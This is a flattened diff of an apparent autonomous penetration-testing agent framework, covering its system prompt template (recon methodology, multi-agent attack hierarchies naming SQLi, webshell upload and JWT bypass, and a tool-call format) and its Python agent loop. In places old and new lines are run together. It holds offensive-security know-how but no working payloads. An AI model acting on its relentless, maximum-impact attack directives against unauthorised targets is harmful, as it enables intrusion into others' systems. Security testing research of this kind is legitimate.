- Test patches to confirm vulnerability removal. - Test patches to confirm vulnerability removal.
- Do not stop until all reported vulnerabilities are fixed. - Do not stop until all reported vulnerabilities are fixed.
- Include code diff in final report. - Include code diff in final report.
COMBINED MODE (code + deployed target present):
- Treat this as static analysis plus dynamic testing simultaneously
- Use repository/local code at /workspace/<subdir> to accelerate and inform live testing against the URLs/domains
- Validate suspected code issues dynamically; use dynamic anomalies to prioritize code paths for review
ASSESSMENT METHODOLOGY: ASSESSMENT METHODOLOGY:
1. Scope definition - Clearly establish boundaries first 1. Scope definition - Clearly establish boundaries first
2. Breadth-first discovery - Map entire attack surface before deep diving 2. Breadth-first discovery - Map entire attack surface before deep diving
@@ -73,7 +106,6 @@ OPERATIONAL PRINCIPLES:
- Choose appropriate tools for each context - Choose appropriate tools for each context
- Chain vulnerabilities for maximum impact - Chain vulnerabilities for maximum impact
- Consider business logic and context in exploitation - Consider business logic and context in exploitation
- **OVERUSE THE THINK TOOL** - Use it CONSTANTLY. Every 1-2 messages MINIMUM, and after each tool call!
- NEVER skip think tool - it's your most important tool for reasoning and success - NEVER skip think tool - it's your most important tool for reasoning and success
- WORK RELENTLESSLY - Don't stop until you've found something significant - WORK RELENTLESSLY - Don't stop until you've found something significant
- Try multiple approaches simultaneously - don't wait for one to fail - Try multiple approaches simultaneously - don't wait for one to fail
@@ -100,6 +132,9 @@ VALIDATION REQUIREMENTS:
- Independent verification through subagent - Independent verification through subagent
- Document complete attack chain - Document complete attack chain
- Keep going until you find something that matters - Keep going until you find something that matters
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
</execution_guidelines> </execution_guidelines>
<vulnerability_focus> <vulnerability_focus>
@@ -143,206 +178,33 @@ Remember: A single high-impact vulnerability is worth more than dozens of low-se
</vulnerability_focus> </vulnerability_focus>
<multi_agent_system> <multi_agent_system>
AGENT ENVIRONMENTS: AGENT ISOLATION & SANDBOXING:
- Each agent has isolated: browser, terminal, proxy, /workspace - All agents run in the same shared Docker container for efficiency
- Shared access to /shared_workspace for collaboration - Each agent has its own: browser sessions, terminal sessions
- Use /shared_workspace to pass files between agents - All agents share the same /workspace directory and proxy history
- Agents can see each other's files and proxy traffic for better collaboration
AGENT HIERARCHY TREE EXAMPLES: MANDATORY INITIAL PHASES:
EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only): BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
``` - COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
Root Agent (Coordination) - MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
├── Recon Agent - CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
│ ├── Subdomain Discovery Agent - ENUMERATE technologies: frameworks, libraries, versions, dependencies
│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com) - ONLY AFTER comprehensive mapping → proceed to vulnerability testing
│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com)
│ │ └── ASN Enumeration Agent (finds additional IP ranges)
│ ├── Port Scanning Agent
│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200)
│ │ ├── UDP Port Agent (finds 53, 161, 1900)
│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x)
│ └── Tech Stack Analysis Agent
│ ├── WAF Detection Agent (identifies Cloudflare, custom rules)
│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins)
│ └── Framework Detection Agent (detects React frontend, Laravel backend)
├── API Discovery Agent (spawned after finding api.target.com)
│ ├── GraphQL Endpoint Agent
│ │ ├── Introspection Validation Agent
│ │ │ └── GraphQL Schema Reporting Agent
│ │ └── Query Complexity Validation Agent (no findings - properly protected)
│ ├── REST API Agent
│ │ ├── IDOR Testing Agent (user profiles)
│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124)
│ │ │ │ └── IDOR Reporting Agent (PII exposure)
│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789)
│ │ │ └── IDOR Reporting Agent (financial data access)
│ │ └── Business Logic Agent
│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working)
│ │ └── Discount Code Validation Agent
│ │ └── Coupon Abuse Reporting Agent
│ └── JWT Security Agent
│ ├── Algorithm Confusion Validation Agent
│ │ └── JWT Bypass Reporting Agent
│ └── Secret Bruteforce Validation Agent (not valid - strong secret used)
├── Admin Panel Agent (spawned after finding admin.target.com)
│ ├── Authentication Bypass Agent
│ │ ├── Default Credentials Validation Agent (no findings - no default creds)
│ │ └── SQL Injection Validation Agent (login form)
│ │ └── Auth Bypass Reporting Agent
│ └── File Upload Agent
│ ├── WebShell Upload Validation Agent
│ │ └── RCE via Upload Reporting Agent
│ └── Path Traversal Validation Agent (validation failed - proper filtering detected)
├── WordPress Agent (spawned after CMS detection)
│ ├── Plugin Vulnerability Agent
│ │ ├── Contact Form 7 SQLi Validation Agent
│ │ │ └── DB Compromise Reporting Agent
│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner)
│ └── Theme Vulnerability Agent
│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled)
└── Infrastructure Agent (spawned after finding Elasticsearch)
├── Elasticsearch Agent
│ ├── Open Index Validation Agent
│ │ └── Data Exposure Reporting Agent
│ └── Script Injection Validation Agent (validation failed - script execution disabled)
└── Docker Registry Agent (spawned if found) (no findings - registry not accessible)
```
EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided): WHITE-BOX TESTING - PHASE 1 (CODE UNDERSTANDING):
``` - MAP entire repository structure and architecture
Root Agent (Coordination) - UNDERSTAND code flow, entry points, data flows
├── Static Analysis Agent - IDENTIFY all routes, endpoints, APIs, and their handlers
│ ├── Authentication Code Agent - ANALYZE authentication, authorization, input validation logic
│ │ ├── JWT Implementation Validation Agent - REVIEW dependencies and third-party libraries
│ │ │ └── JWT Weak Secret Reporting Agent - ONLY AFTER full code comprehension → proceed to vulnerability testing
│ │ │ └── JWT Secure Implementation Fixing Agent
│ │ ├── Session Management Validation Agent PHASE 2 - SYSTEMATIC VULNERABILITY TESTING:
│ │ │ └── Session Fixation Reporting Agent - CREATE SPECIALIZED SUBAGENT for EACH vulnerability type × EACH component
│ │ │ └── Session Security Fixing Agent - Each agent focuses on ONE vulnerability type in ONE specific location
│ │ └── Password Policy Validation Agent - EVERY detected vulnerability MUST spawn its own validation subagent
│ │ └── Weak Password Rules Reporting Agent
│ │ └── Strong Password Policy Fixing Agent
│ ├── Input Validation Agent
│ │ ├── SQL Query Analysis Validation Agent
│ │ │ ├── Prepared Statement Validation Agent
│ │ │ │ └── SQLi Risk Reporting Agent
│ │ │ │ └── Parameterized Query Fixing Agent
│ │ │ └── Dynamic Query Validation Agent
│ │ │ └── Query Injection Reporting Agent
│ │ │ └── Query Builder Fixing Agent
│ │ ├── XSS Prevention Validation Agent
│ │ │ └── Output Encoding Validation Agent
│ │ │ └── XSS Vulnerability Reporting Agent
│ │ │ └── Output Sanitization Fixing Agent
│ │ └── File Upload Validation Agent
│ │ ├── MIME Type Validation Agent
│ │ │ └── File Type Bypass Reporting Agent
│ │ │ └── Proper MIME Check Fixing Agent
│ │ └── Path Traversal Validation Agent
│ │ └── Directory Traversal Reporting Agent
│ │ └── Path Sanitization Fixing Agent
│ ├── Business Logic Agent
│ │ ├── Race Condition Analysis Agent
│ │ │ ├── Payment Race Validation Agent
│ │ │ │ └── Financial Race Reporting Agent
│ │ │ │ └── Atomic Transaction Fixing Agent
│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found)
│ │ ├── Authorization Logic Agent
│ │ │ ├── IDOR Prevention Validation Agent
│ │ │ │ └── Access Control Bypass Reporting Agent
│ │ │ │ └── Authorization Check Fixing Agent
│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented)
│ │ └── Financial Logic Agent
│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure)
│ │ └── Discount Logic Validation Agent
│ │ └── Discount Abuse Reporting Agent
│ │ └── Discount Validation Fixing Agent
│ └── Cryptography Agent
│ ├── Encryption Implementation Agent
│ │ ├── AES Usage Validation Agent
│ │ │ └── Weak Encryption Reporting Agent
│ │ │ └── Strong Crypto Fixing Agent
│ │ └── Key Management Validation Agent
│ │ └── Hardcoded Key Reporting Agent
│ │ └── Secure Key Storage Fixing Agent
│ └── Hash Function Agent
│ └── Password Hashing Validation Agent
│ └── Weak Hash Reporting Agent
│ └── bcrypt Implementation Fixing Agent
├── Dynamic Testing Agent
│ ├── Server Setup Agent
│ │ ├── Environment Setup Validation Agent (sets up on port 8080)
│ │ ├── Database Setup Validation Agent (initializes test DB)
│ │ └── Service Health Validation Agent (confirms running state)
│ ├── Runtime SQL Injection Agent
│ │ ├── Login Form SQLi Validation Agent
│ │ │ └── Auth Bypass SQLi Reporting Agent
│ │ │ └── Login Security Fixing Agent
│ │ ├── Search Function SQLi Validation Agent
│ │ │ └── Data Extraction SQLi Reporting Agent
│ │ │ └── Search Sanitization Fixing Agent
│ │ └── API Parameter SQLi Validation Agent
│ │ └── API SQLi Reporting Agent
│ │ └── API Input Validation Fixing Agent
│ ├── XSS Testing Agent
│ │ ├── Stored XSS Validation Agent (comment system)
│ │ │ └── Persistent XSS Reporting Agent
│ │ │ └── Input Filtering Fixing Agent
│ │ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded)
│ │ └── DOM XSS Validation Agent (client-side routing)
│ │ └── DOM XSS Reporting Agent
│ │ └── Client Sanitization Fixing Agent
│ ├── Business Logic Testing Agent
│ │ ├── Payment Flow Validation Agent
│ │ │ ├── Negative Amount Validation Agent
│ │ │ │ └── Payment Bypass Reporting Agent
│ │ │ │ └── Amount Validation Fixing Agent
│ │ │ └── Currency Manipulation Validation Agent
│ │ │ └── Currency Fraud Reporting Agent
│ │ │ └── Currency Lock Fixing Agent
│ │ ├── User Registration Validation Agent
│ │ │ └── Email Verification Bypass Validation Agent
│ │ │ └── Email Security Reporting Agent
│ │ │ └── Verification Enforcement Fixing Agent
│ │ └── File Processing Validation Agent
│ │ ├── XXE Attack Validation Agent
│ │ │ └── XML Entity Reporting Agent
│ │ │ └── XML Security Fixing Agent
│ │ └── Deserialization Validation Agent
│ │ └── Object Injection Reporting Agent
│ │ └── Safe Deserialization Fixing Agent
│ └── API Security Testing Agent
│ ├── GraphQL Security Agent
│ │ ├── Query Depth Validation Agent
│ │ │ └── DoS Attack Reporting Agent
│ │ │ └── Query Limiting Fixing Agent
│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production)
│ └── REST API Agent
│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly)
│ └── CORS Validation Agent
│ └── Origin Bypass Reporting Agent
│ └── CORS Policy Fixing Agent
└── Infrastructure Code Agent
├── Docker Security Agent
│ ├── Dockerfile Analysis Validation Agent
│ │ └── Container Privilege Reporting Agent
│ │ └── Secure Container Fixing Agent
│ └── Secret Management Validation Agent
│ └── Hardcoded Secret Reporting Agent
│ └── Secret Externalization Fixing Agent
├── CI/CD Pipeline Agent
│ └── Pipeline Security Validation Agent
│ └── Pipeline Injection Reporting Agent
│ └── Pipeline Hardening Fixing Agent
└── Cloud Configuration Agent
├── AWS Config Validation Agent
│ └── S3 Bucket Exposure Reporting Agent
│ └── Bucket Security Fixing Agent
└── K8s Config Validation Agent
└── Pod Security Reporting Agent
└── Security Context Fixing Agent
```
SIMPLE WORKFLOW RULES: SIMPLE WORKFLOW RULES:
@@ -352,6 +214,9 @@ SIMPLE WORKFLOW RULES:
4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain 4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain
5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces 5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces
6. **ONE JOB PER AGENT** - Each agent has ONE specific task only 6. **ONE JOB PER AGENT** - Each agent has ONE specific task only
7. **SCALE AGENT COUNT TO SCOPE** - Number of agents should correlate with target size and difficulty; avoid both agent sprawl and under-staffing
8. **CHILDREN ARE MEANINGFUL SUBTASKS** - Child agents must be focused subtasks that directly support their parent's task; do NOT create unrelated children
9. **UNIQUENESS** - Do not create two agents with the same task; ensure clear, non-overlapping responsibilities for every agent
WHEN TO CREATE NEW AGENTS: WHEN TO CREATE NEW AGENTS:
@@ -399,6 +264,27 @@ CRITICAL RULES:
- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs - **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs
- **SPAWN REACTIVELY** - Create new agents based on what you discover - **SPAWN REACTIVELY** - Create new agents based on what you discover
- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool - **ONLY REPORTING AGENTS** can use create_vulnerability_report tool
- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized; prefer 13 skills, up to 5 for complex contexts
- **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus
AGENT SPECIALIZATION EXAMPLES:
GOOD SPECIALIZATION:
- "SQLi Validation Agent" with skills: sql_injection
- "XSS Discovery Agent" with skills: xss
- "Auth Testing Agent" with skills: authentication_jwt, business_logic
- "SSRF + XXE Agent" with skills: ssrf, xxe, rce (related attack vectors)
BAD SPECIALIZATION:
- "General Web Testing Agent" with skills: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad)
- "Everything Agent" with skills: all available skills (completely unfocused)
- Any agent with more than 5 skills (violates constraints)
FOCUS PRINCIPLES:
- Each agent should have deep expertise in 1-3 related vulnerability types
- Agents with single skills have the deepest specialization
- Related vulnerabilities (like SSRF+XXE or Auth+Business Logic) can be combined
- Never create "kitchen sink" agents that try to do everything
REALISTIC TESTING OUTCOMES: REALISTIC TESTING OUTCOMES:
- **No Findings**: Agent completes testing but finds no vulnerabilities - **No Findings**: Agent completes testing but finds no vulnerabilities
@@ -421,10 +307,25 @@ Tool calls use XML format:
</function> </function>
CRITICAL RULES: CRITICAL RULES:
0. While active in the agent loop, EVERY message you output MUST be a single tool call. Do not send plain text-only responses.
1. One tool call per message 1. One tool call per message
2. Tool call must be last in message 2. Tool call must be last in message
3. End response after </function> tag 3. End response after </function> tag. It's your stop word. Do not continue after it.
5. Thinking is NOT optional - it's required for reasoning and success 4. Use ONLY the exact XML format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
5. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
- Correct: <function=think> ... </function>
- Incorrect: <thinking_tools.think> ... </function>
- Incorrect: <think> ... </think>
- Incorrect: {"think": {...}}
6. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.
7. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.
Example (agent creation tool):
<function=create_agent>
<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>
<parameter=name>XSS Discovery Agent</parameter>
<parameter=skills>xss</parameter>
</function>
SPRAYING EXECUTION NOTE: SPRAYING EXECUTION NOTE:
- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload. - When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload.
@@ -476,6 +377,7 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION: PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported). - Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported).
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port. - NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
PROGRAMMING: PROGRAMMING:
- Python 3, Poetry, Go, Node.js/npm - Python 3, Poetry, Go, Node.js/npm
@@ -484,20 +386,19 @@ PROGRAMMING:
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.) - You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)
Directories: Directories:
- /workspace - Your private agent directory - /workspace - where you should work.
- /shared_workspace - Shared between agents
- /home/pentester/tools - Additional tool scripts - /home/pentester/tools - Additional tool scripts
- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need. - /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need.
Default user: pentester (sudo available) Default user: pentester (sudo available)
</environment> </environment>
{% if loaded_module_names %} {% if loaded_skill_names %}
<specialized_knowledge> <specialized_knowledge>
{# Dynamic prompt modules loaded based on agent specialization #} {# Dynamic skills loaded based on agent specialization #}
{% for module_name in loaded_module_names %} {% for skill_name in loaded_skill_names %}
{{ get_module(module_name) }} {{ get_skill(skill_name) }}
{% endfor %} {% endfor %}
</specialized_knowledge> </specialized_knowledge>
+243 -47
View File
@@ -1,11 +1,12 @@
import asyncio import asyncio
import contextlib
import logging import logging
from pathlib import Path from pathlib import Path
from typing import TYPE_CHECKING, Any, Optional from typing import TYPE_CHECKING, Any, Optional
if TYPE_CHECKING: if TYPE_CHECKING:
from strix.cli.tracer import Tracer from strix.telemetry.tracer import Tracer
from jinja2 import ( from jinja2 import (
Environment, Environment,
@@ -13,8 +14,9 @@ from jinja2 import (
select_autoescape, select_autoescape,
) )
from strix.llm import LLM, LLMConfig from strix.llm import LLM, LLMConfig, LLMRequestFailedError
from strix.llm.utils import clean_content from strix.llm.utils import clean_content
from strix.runtime import SandboxInitializationError
from strix.tools import process_tool_invocations from strix.tools import process_tool_invocations
from .state import AgentState from .state import AgentState
@@ -46,7 +48,7 @@ class AgentMeta(type):
class BaseAgent(metaclass=AgentMeta): class BaseAgent(metaclass=AgentMeta):
max_iterations = 200 max_iterations = 300
agent_name: str = "" agent_name: str = ""
jinja_env: Environment jinja_env: Environment
default_llm_config: LLMConfig | None = None default_llm_config: LLMConfig | None = None
@@ -54,7 +56,8 @@ class BaseAgent(metaclass=AgentMeta):
def __init__(self, config: dict[str, Any]): def __init__(self, config: dict[str, Any]):
self.config = config self.config = config
self.local_source_path = config.get("local_source_path") self.local_sources = config.get("local_sources", [])
self.non_interactive = config.get("non_interactive", False)
if "max_iterations" in config: if "max_iterations" in config:
self.max_iterations = config["max_iterations"] self.max_iterations = config["max_iterations"]
@@ -74,9 +77,11 @@ class BaseAgent(metaclass=AgentMeta):
max_iterations=self.max_iterations, max_iterations=self.max_iterations,
) )
with contextlib.suppress(Exception):
self.llm.set_agent_identity(self.agent_name, self.state.agent_id)
self._current_task: asyncio.Task[Any] | None = None self._current_task: asyncio.Task[Any] | None = None
from strix.cli.tracer import get_global_tracer from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer() tracer = get_global_tracer()
if tracer: if tracer:
@@ -141,18 +146,16 @@ class BaseAgent(metaclass=AgentMeta):
if self.state.parent_id is None and agents_graph_actions._root_agent_id is None: if self.state.parent_id is None and agents_graph_actions._root_agent_id is None:
agents_graph_actions._root_agent_id = self.state.agent_id agents_graph_actions._root_agent_id = self.state.agent_id
def cancel_current_execution(self) -> None: async def agent_loop(self, task: str) -> dict[str, Any]: # noqa: PLR0912, PLR0915
if self._current_task and not self._current_task.done(): from strix.telemetry.tracer import get_global_tracer
self._current_task.cancel()
self._current_task = None
async def agent_loop(self, task: str) -> dict[str, Any]:
await self._initialize_sandbox_and_state(task)
from strix.cli.tracer import get_global_tracer
tracer = get_global_tracer() tracer = get_global_tracer()
try:
await self._initialize_sandbox_and_state(task)
except SandboxInitializationError as e:
return self._handle_sandbox_error(e, tracer)
while True: while True:
self._check_agent_messages(self.state) self._check_agent_messages(self.state)
@@ -161,29 +164,111 @@ class BaseAgent(metaclass=AgentMeta):
continue continue
if self.state.should_stop(): if self.state.should_stop():
if self.non_interactive:
return self.state.final_result or {}
await self._enter_waiting_state(tracer) await self._enter_waiting_state(tracer)
continue continue
if self.state.llm_failed:
await self._wait_for_input()
continue
self.state.increment_iteration() self.state.increment_iteration()
if (
self.state.is_approaching_max_iterations()
and not self.state.max_iterations_warning_sent
):
self.state.max_iterations_warning_sent = True
remaining = self.state.max_iterations - self.state.iteration
warning_msg = (
f"URGENT: You are approaching the maximum iteration limit. "
f"Current: {self.state.iteration}/{self.state.max_iterations} "
f"({remaining} iterations remaining). "
f"Please prioritize completing your required task(s) and calling "
f"the appropriate finish tool (finish_scan for root agent, "
f"agent_finish for sub-agents) as soon as possible."
)
self.state.add_message("user", warning_msg)
if self.state.iteration == self.state.max_iterations - 3:
final_warning_msg = (
"CRITICAL: You have only 3 iterations left! "
"Your next message MUST be the tool call to the appropriate "
"finish tool: finish_scan if you are the root agent, or "
"agent_finish if you are a sub-agent. "
"No other actions should be taken except finishing your work "
"immediately."
)
self.state.add_message("user", final_warning_msg)
try: try:
should_finish = await self._process_iteration(tracer) iteration_task = asyncio.create_task(self._process_iteration(tracer))
self._current_task = iteration_task
should_finish = await iteration_task
self._current_task = None
if should_finish: if should_finish:
if self.non_interactive:
self.state.set_completed({"success": True})
if tracer:
tracer.update_agent_status(self.state.agent_id, "completed")
return self.state.final_result or {}
await self._enter_waiting_state(tracer, task_completed=True) await self._enter_waiting_state(tracer, task_completed=True)
continue continue
except asyncio.CancelledError: except asyncio.CancelledError:
self._current_task = None
if tracer:
partial_content = tracer.finalize_streaming_as_interrupted(self.state.agent_id)
if partial_content and partial_content.strip():
self.state.add_message(
"assistant", f"{partial_content}\n\n[ABORTED BY USER]"
)
if self.non_interactive:
raise
await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True) await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True)
continue continue
except LLMRequestFailedError as e:
result = self._handle_llm_error(e, tracer)
if result is not None:
return result
continue
except (RuntimeError, ValueError, TypeError) as e: except (RuntimeError, ValueError, TypeError) as e:
if not await self._handle_iteration_error(e, tracer): if not await self._handle_iteration_error(e, tracer):
if self.non_interactive:
self.state.set_completed({"success": False, "error": str(e)})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed")
raise
await self._enter_waiting_state(tracer, error_occurred=True) await self._enter_waiting_state(tracer, error_occurred=True)
continue continue
async def _wait_for_input(self) -> None: async def _wait_for_input(self) -> None:
import asyncio import asyncio
if self.state.has_waiting_timeout():
self.state.resume_from_waiting()
self.state.add_message("user", "Waiting timeout reached. Resuming execution.")
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(self.state.agent_id, "running")
try:
from strix.tools.agents_graph.agents_graph_actions import _agent_graph
if self.state.agent_id in _agent_graph["nodes"]:
_agent_graph["nodes"][self.state.agent_id]["status"] = "running"
except (ImportError, KeyError):
pass
return
await asyncio.sleep(0.5) await asyncio.sleep(0.5)
async def _enter_waiting_state( async def _enter_waiting_state(
@@ -231,13 +316,22 @@ class BaseAgent(metaclass=AgentMeta):
if not sandbox_mode and self.state.sandbox_id is None: if not sandbox_mode and self.state.sandbox_id is None:
from strix.runtime import get_runtime from strix.runtime import get_runtime
runtime = get_runtime() try:
sandbox_info = await runtime.create_sandbox( runtime = get_runtime()
self.state.agent_id, self.state.sandbox_token, self.local_source_path sandbox_info = await runtime.create_sandbox(
) self.state.agent_id, self.state.sandbox_token, self.local_sources
self.state.sandbox_id = sandbox_info["workspace_id"] )
self.state.sandbox_token = sandbox_info["auth_token"] self.state.sandbox_id = sandbox_info["workspace_id"]
self.state.sandbox_info = sandbox_info self.state.sandbox_token = sandbox_info["auth_token"]
self.state.sandbox_info = sandbox_info
if "agent_id" in sandbox_info:
self.state.sandbox_info["agent_id"] = sandbox_info["agent_id"]
except Exception as e:
from strix.telemetry import posthog
posthog.error("sandbox_init_error", str(e))
raise
if not self.state.task: if not self.state.task:
self.state.task = task self.state.task = task
@@ -245,9 +339,16 @@ class BaseAgent(metaclass=AgentMeta):
self.state.add_message("user", task) self.state.add_message("user", task)
async def _process_iteration(self, tracer: Optional["Tracer"]) -> bool: async def _process_iteration(self, tracer: Optional["Tracer"]) -> bool:
response = await self.llm.generate(self.state.get_conversation_history()) final_response = None
async for response in self.llm.generate(self.state.get_conversation_history()):
final_response = response
if tracer and response.content:
tracer.update_streaming_content(self.state.agent_id, response.content)
content_stripped = (response.content or "").strip() if final_response is None:
return False
content_stripped = (final_response.content or "").strip()
if not content_stripped: if not content_stripped:
corrective_message = ( corrective_message = (
@@ -263,17 +364,19 @@ class BaseAgent(metaclass=AgentMeta):
self.state.add_message("user", corrective_message) self.state.add_message("user", corrective_message)
return False return False
self.state.add_message("assistant", response.content) thinking_blocks = getattr(final_response, "thinking_blocks", None)
self.state.add_message("assistant", final_response.content, thinking_blocks=thinking_blocks)
if tracer: if tracer:
tracer.clear_streaming_content(self.state.agent_id)
tracer.log_chat_message( tracer.log_chat_message(
content=clean_content(response.content), content=clean_content(final_response.content),
role="assistant", role="assistant",
agent_id=self.state.agent_id, agent_id=self.state.agent_id,
) )
actions = ( actions = (
response.tool_invocations final_response.tool_invocations
if hasattr(response, "tool_invocations") and response.tool_invocations if hasattr(final_response, "tool_invocations") and final_response.tool_invocations
else [] else []
) )
@@ -308,23 +411,13 @@ class BaseAgent(metaclass=AgentMeta):
self.state.set_completed({"success": True}) self.state.set_completed({"success": True})
if tracer: if tracer:
tracer.update_agent_status(self.state.agent_id, "completed") tracer.update_agent_status(self.state.agent_id, "completed")
if self.non_interactive and self.state.parent_id is None:
return True
return True return True
return False return False
async def _handle_iteration_error( def _check_agent_messages(self, state: AgentState) -> None: # noqa: PLR0912
self,
error: RuntimeError | ValueError | TypeError | asyncio.CancelledError,
tracer: Optional["Tracer"],
) -> bool:
error_msg = f"Error in iteration {self.state.iteration}: {error!s}"
logger.exception(error_msg)
self.state.add_error(error_msg)
if tracer:
tracer.update_agent_status(self.state.agent_id, "error")
return True
def _check_agent_messages(self, state: AgentState) -> None:
try: try:
from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages
@@ -337,13 +430,29 @@ class BaseAgent(metaclass=AgentMeta):
has_new_messages = False has_new_messages = False
for message in messages: for message in messages:
if not message.get("read", False): if not message.get("read", False):
if state.is_waiting_for_input():
state.resume_from_waiting()
has_new_messages = True
sender_name = "Unknown Agent"
sender_id = message.get("from") sender_id = message.get("from")
if state.is_waiting_for_input():
if state.llm_failed:
if sender_id == "user":
state.resume_from_waiting()
has_new_messages = True
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(state.agent_id, "running")
else:
state.resume_from_waiting()
has_new_messages = True
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(state.agent_id, "running")
if sender_id == "user": if sender_id == "user":
sender_name = "User" sender_name = "User"
state.add_message("user", message.get("content", "")) state.add_message("user", message.get("content", ""))
@@ -380,7 +489,7 @@ class BaseAgent(metaclass=AgentMeta):
message["read"] = True message["read"] = True
if has_new_messages and not state.is_waiting_for_input(): if has_new_messages and not state.is_waiting_for_input():
from strix.cli.tracer import get_global_tracer from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer() tracer = get_global_tracer()
if tracer: if tracer:
@@ -392,3 +501,90 @@ class BaseAgent(metaclass=AgentMeta):
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
logger.warning(f"Error checking agent messages: {e}") logger.warning(f"Error checking agent messages: {e}")
return return
def _handle_sandbox_error(
self,
error: SandboxInitializationError,
tracer: Optional["Tracer"],
) -> dict[str, Any]:
error_msg = str(error.message)
error_details = error.details
self.state.add_error(error_msg)
if self.non_interactive:
self.state.set_completed({"success": False, "error": error_msg})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"sandbox_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg, "details": error_details}
self.state.enter_waiting_state()
if tracer:
tracer.update_agent_status(self.state.agent_id, "sandbox_failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"sandbox_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg, "details": error_details}
def _handle_llm_error(
self,
error: LLMRequestFailedError,
tracer: Optional["Tracer"],
) -> dict[str, Any] | None:
error_msg = str(error)
error_details = getattr(error, "details", None)
self.state.add_error(error_msg)
if self.non_interactive:
self.state.set_completed({"success": False, "error": error_msg})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"llm_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg}
self.state.enter_waiting_state(llm_failed=True)
if tracer:
tracer.update_agent_status(self.state.agent_id, "llm_failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"llm_error_details",
